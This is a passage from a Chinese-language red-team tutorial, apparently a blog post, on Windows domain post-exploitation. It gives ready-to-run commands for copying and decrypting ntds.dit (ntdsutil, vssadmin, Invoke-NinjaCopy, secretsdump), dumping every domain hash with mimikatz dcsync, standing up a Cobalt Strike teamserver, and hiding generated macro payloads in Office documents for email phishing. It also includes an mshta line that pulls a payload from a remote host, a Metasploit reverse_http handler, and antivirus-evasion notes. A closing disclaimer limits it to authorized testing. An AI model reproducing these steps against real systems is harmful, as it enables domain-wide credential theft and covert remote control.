# 6. 删除快照
ntdsutil snapshot "delete {457fd83a-8e81-45e6-954b-ebe6a8a9328e}" quit quit
Ntdsutil IFM 方式(创建安装介质):
# 交互式
ntdsutil
activate instance ntds
ifm
create full <Drive>:\<Folder>
quit
quit
# 非交互式
Ntdsutil "activate instance ntds" ifm "create full C:\dabai" quit quit
12.4 VssAdmin 方式
VssAdmin 是 Windows 系统提供的卷影复制服务(VSS)的管理工具,域环境默认安装。
# 1. 查询当前系统的快照
vssadmin list shadows
# 2. 创建快照
vssadmin create shadow /for=c:
# 3. 获得 Shadow Copy Volume Name
# 例如:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy6
# 4. 复制 ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy9\windows\NTDS\ntds.dit c:\ntds3.dit
# 5. 删除快照
vssadmin delete shadows /for=c: /quiet
12.5 Ninjacopy(PowerShell 脚本)
在调用 Windows 系统中的命令(vssadmin、ntdsutil 等)去运行 Volume Shadow Copy 时,由于 Windows 系统的保护机制,常常会在日志文件中产生 7036 的记录。可以通过 PowerShell 脚本的方式去获取 ntds.dit 文件。
# 1. 将脚本导入到目标系统
# 2. CMD 命令行调用 powershell 脚本
Import-Module .\Invoke-NinjaCopy.ps1
# 3. 利用脚本获取 sam 数据库或 ntds.dit 文件
Invoke-NinjaCopy -Path C:\Windows\system32\config\sam -Verbose -LocalDestination C:\Users\administrator\Desktop\sam
Invoke-NinjaCopy -Path C:\Windows\NTDS\ntds.dit -Verbose -LocalDestination C:\Users\administrator\Desktop\ntds.dit
12.6 解密 ntds.dit
在使用工具或技术获取到域中的 ntds.dit 文件之后,接下来就要使用各种方法去解密 ntds.dit 文件,获得域内用户的账号密码信息。
Secretsdump:
secretsdump.exe -sam sam.hiv -security security.hiv -system sys.hiv LOCAL
secretsdump.exe -system system.hive -ntds ntds.dit LOCAL
NtdsAudit:
NtdsAudit.exe "ntds.dit" -s "system" -p pwdump.txt --users-csv users.csv
Mimikatz dcsync(无需导出文件,直接从域控拉取):
Mimikatz 有一个功能(dcsync),它可以利用目录复制服务(Directory Replication Service, DRS)从 NTDS.DIT 文件中提取密码哈希值。
# 获取域内所有用户 hash
mimikatz lsadump::dcsync /domain:god.org /all /csv
# 获取单个用户的详细信息(如 krbtgt)
mimikatz lsadump::dcsync /domain:god.org /user:krbtgt
# 查看所有用户的所有详细信息
mimikatz lsadump::lsa /inject
💡 dcsync 是最优雅的方式,不需要导出文件,直接通过域控的复制协议拉取所有 hash。
十三、Cobalt Strike (CS) 工具全功能
13.1 CS 介绍与架构
Cobalt Strike 是一款美国 Red Team 开发的渗透测试神器。这个工具成为了渗透测试中不可缺少的利器。其拥有多种协议主机上线方式,集成了提权、凭据导出、端口转发、socket 代理、office 攻击、文件捆绑、钓鱼等功能。
Cobalt Strike 还可以调用 Mimikatz 等其他知名工具,因此广受喜爱。
架构:
-
服务端:一个,放在 Linux 服务器上
-
客户端:可以有多个,可被团队进行分布式协同操作
-
主要用途:内网渗透以及 APT 攻击
💡 CS 属于 C2(Command and Control,命令和控制平台):生成载荷,接受被控设备,可以给被控设备下发指令,看到桌面。
对比其他 C2 工具:
|
工具 |
形态 |
|---|---|
|
Cobalt Strike (CS) |
图形化界面,功能全面 |
|
Silver |
只有命令行 |
|
MSF |
只有命令行 |
13.2 环境搭建
⚠️ 前提条件:
电脑一定要有 Java 环境
解压一定要关掉实时保护(杀软)
插件解压放在全英文的目录,不要再去动了
服务端启动(以 CS 4.8 为例):
# 切换到 CS4.8 目录
cd root/CS4.8/
cd server
# 赋予服务端运行权限
chmod +x teamserver
chmod +x TeamServerImage
# 启动服务端
./teamserver IP地址 密码 profile文件
# 例如:
./teamserver 10.0.0.201 test
⚠️ 关于默认端口: 启动之后默认端口是 50050。由于 CS 广为人知,这个端口在各个厂商的安全设备里面都进了黑名单,实际工作中一般不会用到这个默认端口。修改端口要在配置文件中修改(teamserver)。
关于 cobaltstrike 的流量隐藏技巧,需要配置相应的 profile 文件(cobaltstrike 全局变量的配置文件)。
配置 profile 文件: https://www.cobaltstrike.com/product/features/malleable-c2
客户端连接:
打开 Client 文件夹,双击 Cobalt_Strike_CN.bat
多客户端用户通信:
# 所有人聊天:直接输入聊天内容即可
hello
# 私发信息:
/msg 对方的用户名 聊天信息
# 例如:
/msg test 你好
13.3 生成载荷
Step 1:首先设置监听
-
reverse_http:表示反向(反射),即别人主动来连我 -
beacon_bind:表示正向(本地),即我们去连接别人
监听器与后门详解:cobaltstrike之创建监听器与生成后门_cobaltstrike windows executable windows executable-CSDN博客
Step 2:生成载荷
CS 支持多种载荷类型:
|
类型 |
说明 |
|---|---|
|
HTA 文档 |
生成 HTML 类型的载荷 |
|
office 宏 |
生成可用于 Excel 表格、Word 文档和 PPT 文件类型的载荷 |
|
payload 生成器 |
生成各种开发语言类型的载荷代码(shellcode) |
|
有效载荷生成器(stageless) |
无状态版的各种开发语言类型的载荷代码 |
|
Windows 可执行程序(E) |
生成 exe 类型的可执行程序 |
|
Windows 可执行程序(stageless) |
无状态版的 exe 类型的可执行程序 |
|
Windows stageless 生成所有有效载荷 |
生成所有的无状态版的有效载荷 |
Windows Executable 和 Windows Executable(S) 的区别:
-
Windows Executable:带注册表和服务的载荷,运行在服务器上,即使服务器重启也可以再次控制
-
Windows Executable(S):无行为动作,无状态载荷,运行在内存中,服务器重启之后无法二次上线,优点是容易过杀毒软件
Step 3:选择监听的选项生成载荷
Step 4:保存载荷
Step 5:免杀处理(后续学习)
Step 6:上传载荷到目标服务器,运行载荷,CS 监听即可上线
13.4 Beacon 命令行
载荷上线之后,进入 beacon 命令行可执行相关命令:
sleep 1 # 改变连接的时间延时为 1s
shell whoami # CS 中执行 shell 命令需要在命令前面加上 shell 开头
shell ipconfig
shell dir
shell ping www.baidu.com
13.5 远程 VNC 与文件管理
-
远程 VNC:选择远程 VNC 功能,即可远程操作目标服务器(看到桌面)
-
文件管理:选择文件管理功能,可远程管理目标服务器文件(上传下载文件)
13.6 网络探测与端口扫描
网络探测:
-
检查当前局域网的共享主机,如果存在共享的话会在列表中显示出来
-
可在"视图"→"目标列表"选项中查看探测到的主机信息
端口扫描:
-
ARP 协议:属于数据链路层的协议,利用时很难被防火墙检测和发现
-
ICMP 协议:属于 ping 协议,很难被检测发现
13.7 进程管理
可查看目标服务器的进程:
-
kill杀死相关进程 -
进行 token 值伪造
-
功能比较强大
13.8 CS 插件安装
CS 插件可以实现提权、密码抓取等功能。常用插件:LSTAR、ladon、ola、taowu、谢公子 等。
安装步骤:
-
打开工具包中的 cs 插件文件夹,解压放到电脑固定的路径
-
点击 CS 界面的"脚本管理器"
-
点击脚本管理器下方的"load"添加插件
-
找到插件中的
.cna为后缀的文件,选中,然后"打开" -
状态栏出现"✔"表示插件添加正常
13.9 Office 宏载荷上线
Step 1:生成 Office 宏载荷
在 CS 中选择生成 office 宏载荷。
Step 2:本地新建一个文档
Word、PPT、Excel 类型都可以。
Step 3:打开文档,选择"视图",点击"查看宏"
Step 4:设置宏的相关参数
Step 5:将原有的宏代码删除,将 CS 生成的宏代码粘贴进去
Step 6:保存文档,选择保存类型
Step 7:打开新生成的文件,点击"启用宏"时,CS 即可上线
💡 Office 宏载荷可以配合邮件钓鱼让目标上线。邮件钓鱼的主题、文案、内容以及发件人信息都得做好相应的设计。
13.10 HTA 与 PowerShell 载荷
HTA 类型(HTML 文件格式):
选择监听器和文件格式,生成 HTA 文件。
PowerShell 格式:
配合文件托管在目标机器运行命令使其上线。
13.11 mshta 命令
目标系统使用 CMD 运行命令使载荷上线:
mshta http://10.0.0.9:123/download/file.ext
十四、CS 与 MSF 联动
当我们使用 CS 生成的载荷连接到目标服务器之后,虽说 CS 功能比较强大,但因为漏洞库和功能模块有限,所以可以联动 Kali 系统的 MSF,调用 MSF 强大的漏洞和功能库去做更多的操作。
具体步骤:
Step 1:Kali 启动 MSF
msfconsole
Step 2:使用 CS 创建一个 Foreign HTTP 的监听
其中 IP 地址为 MSF 的 IP 地址,端口自定义。
Step 3:MSF 中设置监听
use exploit/multi/handler
# 选择工具
set payload windows/meterpreter/reverse_http
# 设置监听的会话(注意会话类型要和 CS 的会话一致)
set lhost 10.0.0.20
# 设置 IP 地址(IP 地址为 kali 监听机器的 IP 地址,和 CS 中保持一致)
set lport 7777
# 设置端口(和 CS 中自定义的端口保持一致)
run
# 开始监听
Step 4:CS 中增加会话,选择 MSF 正在监听的会话
选择 MSF 中正在监听的会话,选择完成之后,MSF 就可以收到监听进入会话窗口了,CS 成功和 MSF 实现联动。
十五、BloodHound 工具分析
15.1 作用
除了使用手工命令或者 CS 插件去收集各种内网环境信息之外,还需要知道内网环境下的网络结构信息:也就是目标内网下的网络架构。这里需要使用 BloodHound(猎犬)。
核心价值: 通过 BloodHound 工具可以看到内网环境下当前主机与域控之间的通信情况,并根据当前主机所处的域内环境给出合理的渗透方案和渗透路线。将复杂的 Active Directory 权限关系"翻译"为直观的攻击地图,帮助红蓝双方快速理解并利用/加固域内安全边界。
15.2 SharpHound 收集
Step 1:将工具 SharpHound.exe 上传到目标主机
工具路径:BloodHound-win32-x64\resources\app\Collectors
Step 2:通过命令行调用上传的工具,收集所有的信息
SharpHound.exe -c all
工具会自动收集域内的各类关系数据并生成一个压缩包文件。
15.3 Neo4j 数据库
Step 3:启动本地的 Neo4j 服务
# cmd 运行路径
cd neo4j-community-3.5.9\bin
# 启动命令
neo4j.bat console
首次启动需要到网页修改密码:http://localhost:7474/
默认账号密码:
账号:neo4j
密码:neo4j
15.4 BloodHound 分析
Step 4:启动 BloodHound.exe
路径:BloodHound-win32-x64\BloodHound.exe
Step 5:将收集好的内网信息的压缩包上传到 BloodHound
点击上传按钮,选择在目标主机上收集到的数据压缩包,完成数据导入。
Step 6:工具界面相关介绍
|
界面 |
说明 |
|---|---|
|
Database Info(数据库信息) |
查看当前数据库的基本信息,包括用户、计算机、组和关系(或边)的数量 |
|
Node Info(节点信息) |
单击某个节点时,可以显示对应节点的相关信息 |
|
Analysis(分析查询) |
BloodHound 中预置了一些查询条件 |
常用分析查询:
Find Domain Admins on Machines
快速定位高价值目标,清晰展示从当前权限到域管理员的攻击路径。
十六、免杀基础概念
16.1 什么是免杀
免杀(Anti-Virus Evasion)是指通过各种技术手段,使载荷不被杀毒软件检测和查杀的技术。
16.2 常见免杀方式
|
方式 |
说明 |
|---|---|
|
分离免杀 |
将 shellcode 与加载器分离,避免特征匹配 |
|
注入内存中运行 |
不落地文件,直接注入到进程内存中执行 |
16.3 CS 中的免杀
-
CS 生成载荷后,需要做免杀处理(CS 支持 profile 文件配置流量隐藏)
-
Windows Executable(S)无状态载荷运行在内存中,更容易过杀毒软件 -
PowerShell 反射式加载(IEX)是无文件落地的常见方式
16.4 相关工具
AWVS 漏洞扫描器(Docker 部署):
# 安装 Docker
sudo apt install -y docker-compose
sudo apt install -y docker.io
sudo systemctl start docker
sudo systemctl enable docker
# 导入 AWVS 镜像
docker load -i awvs.tar
# 运行 AWVS
docker run -it -d -p 13443:3443 --cap-add LINUX_IMMUTABLE secfa/docker-awvs
# 访问地址
# https://localhost:13443/app/login
# 账号:admin@admin.com
# 密码:Admin123
16.5 宏的概念
宏(Macro):实现写好的一系列操作,脚本。CS 生成的 office 宏就是一种宏脚本。
十七、知识点总结
-
域的概念及产生的作用:局域网、工作组、域、域控、域树、域林
-
Kerberos 认证流程:Client、Server、KDC(AD+AS+TGS)、TGT、Ticket
-
信息收集的常见命令:本机信息、域内信息、网络探测
-
内网信息收集的工具使用:CS 插件、BloodHound、Mimikatz
-
Windows Hash:LM Hash、NTLM Hash、本地认证流程
-
凭证获取方式:Mimikatz、PowerShell、WCE、Procdump、注册表导出等
-
ntds.dit 提取与解密:Ntdsutil、VssAdmin、Ninjacopy、dcsync
-
CS 工具全功能:环境搭建、载荷生成、Beacon 命令、插件、联动 MSF
-
存活探测协议:NetBIOS、ICMP、UDP、ARP、SMB
-
免杀基础:分离免杀、内存注入
参考资料
-
什么是外网内网:内网是什么意思?
-
如何搭建域:什么是域?如何搭建一个简单的域?
-
Linux 信息收集常用命令总结:Linux信息收集常用命令总结_linux收集lun信息-CSDN博客
-
WMIC 命令介绍及详细使用:WMIC使用详解
-
Hash 值的介绍:https://baike.baidu.com/item/Hash/390310
-
Windows Hash 相关介绍:几种windows本地hash值获取和破解详解 - SecPulse.COM | 安全脉搏
-
Windows Hash 值得加密解密:Windows内网协议学习NTLM篇之NTLM基础介绍-安全KER - 安全资讯平台
-
监听器与后门详解:cobaltstrike之创建监听器与生成后门_cobaltstrike windows executable windows executable-CSDN博客
-
CS 的部署及用法总结:黑客必备利器:如何在系统上安装和使用 CobaltStrike(简称:CS)_cobalt strike-CSDN博客
-
CS 部署用法(知乎):https://zhuanlan.zhihu.com/p/359251293
-
邮件钓鱼的使用:利用Cobalt strike实现邮件钓鱼攻击
-
BloodHound 超详细教程:内网域渗透分析工具BloodHound_bloodhound工具-CSDN博客
-
域和工作组的区别:内网渗透 | 工作组和域的区别
-
Cobalt Strike 官网:https://www.cobaltstrike.com
-
Malleable C2 配置:https://www.cobaltstrike.com/product/features/malleable-c2
-
Linux 权限位介绍:【Linux】Linux权限详解(权限管理-目录权限-粘滞位)_linux文件夹权限-CSDN博客
-
Mimikatz 下载:Releases · gentilkiwi/mimikatz · GitHub
-
Procdump 下载:ProcDump - Sysinternals | Microsoft Learn
-
PowerSploit:GitHub - PowerShellMafia/PowerSploit: PowerSploit - A PowerShell Post-Exploitation Framework · GitHub
-
LaZagne:GitHub - AlessandroZ/LaZagne: Credentials recovery project · GitHub
-
List-RDP-Connections-History:GitHub - 3gstudent/List-RDP-Connections-History: Use powershell to list the RDP Connections History of logged-in users or all users · GitHub
-
impacket-examples-windows:GitHub - maaaaz/impacket-examples-windows: The great impacket example scripts compiled for Windows · GitHub
-
NtdsAudit:Releases · dionach/NtdsAudit · GitHub
-
F-NAScan:GitHub - ywolf/F-NAScan: Scanning a network asset information script · GitHub
-
arp-scan-windows:arp-scan-windows-/arp-scan at main · QbsuranAlang/arp-scan-windows- · GitHub
-
ophcrack:https://ophcrack.sourceforge.io/
-
ophcrack 彩虹表:https://ophcrack.sourceforge.io/tables.php
-
PowerShell 介绍:PowerShell 是什么?它的作用都有哪些?_power shell-CSDN博客
-
Ninjacopy 更多用法:工具的使用|PowerSploit脚本的用法
⚠️ 免责声明: 本文内容仅供安全研究、授权测试和教学使用。未经授权对他人系统进行测试属于违法行为。请遵守《中华人民共和国网络安全法》及相关法律法规:任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动;不得提供专门用于从事侵入网络、干扰网络正常功能及防护措施、窃取网络数据等危害网络安全活动的程序、工具;明知他人从事危害网络安全的活动的,不得为其提供技术支持、广告推广、支付结算等帮助。
openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构
更多推荐



所有评论(0)